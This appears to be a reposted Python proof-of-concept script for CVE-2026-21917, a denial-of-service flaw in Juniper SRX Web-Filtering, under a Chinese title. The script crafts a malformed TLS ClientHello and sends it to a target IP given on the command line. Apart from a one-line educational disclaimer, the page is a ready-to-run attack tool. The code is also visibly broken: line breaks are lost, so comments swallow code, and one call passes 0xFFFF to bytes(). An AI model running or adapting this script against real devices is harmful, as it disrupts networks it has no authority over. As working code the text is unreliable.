CVE-2026-21917 Juniper SRX系列Web-Filtering畸形SSL包拒绝服务漏洞

#!/usr/bin/env python3 # CVE-2026-21917 PoC - Malformed SSL Packet for Juniper SRX DoS # Note: This is a proof-of-concept for educational and security research purposes only import socket import struct import random def create_malformed_ssl_packet(): """ Create a malformed SSL record packet that may trigger the vulnerability in Juniper SRX Web-Filtering module """ # SSL Record Header content_type = 0x16 # Handshake version = 0x0301 # TLS 1.0 # Malformed handshake with invalid length fields handshake_type = 0x01 # ClientHello # Craft malformed ClientHello with invalid extension length client_version = 0x0303 # TLS 1.2 random_bytes = bytes([random.randint(0, 255) for _ in range(32)]) # Session ID (empty) session_id = bytes([0x00]) # Cipher suites with malformed length cipher_suites = bytes([0x00, 0x04, 0x00, 0x2F, 0x00, 0x3C]) # Extensions with malformed data # Create an extension with invalid/overflow length extension_type = 0x000F # max_fragment_length # Malformed extension length - intentionally wrong malformed_length = 0xFFFF # Invalid length that may cause parsing error extension_data = bytes([malformed_length]) + bytes([0x41] * 100) extensions = struct.pack('>HH', extension_type, len(extension_data)) + extension_data extensions = struct.pack('>H', len(extensions)) + extensions # Build ClientHello body client_hello_body = struct.pack('>H', client_version) + random_bytes client_hello_body += session_id + cipher_suites + extensions # Handshake header handshake = bytes([handshake_type]) + struct.pack('>I', len(client_hello_body))[1:] handshake += client_hello_body # SSL Record ssl_record = bytes([content_type]) + struct.pack('>HH', version, len(handshake)) ssl_record += handshake return ssl_record def send_exploit(target_ip, target_port=443): """ Send the malformed SSL packet to target """ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) try: sock.connect((target_ip, target_port)) packet = create_malformed_ssl_packet() sock.send(packet) print(f"[+] Malformed SSL packet sent to {target_ip}:{target_port}") print(f"[+] Packet size: {len(packet)} bytes") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 cve-2026-21917-poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 send_exploit(target, port)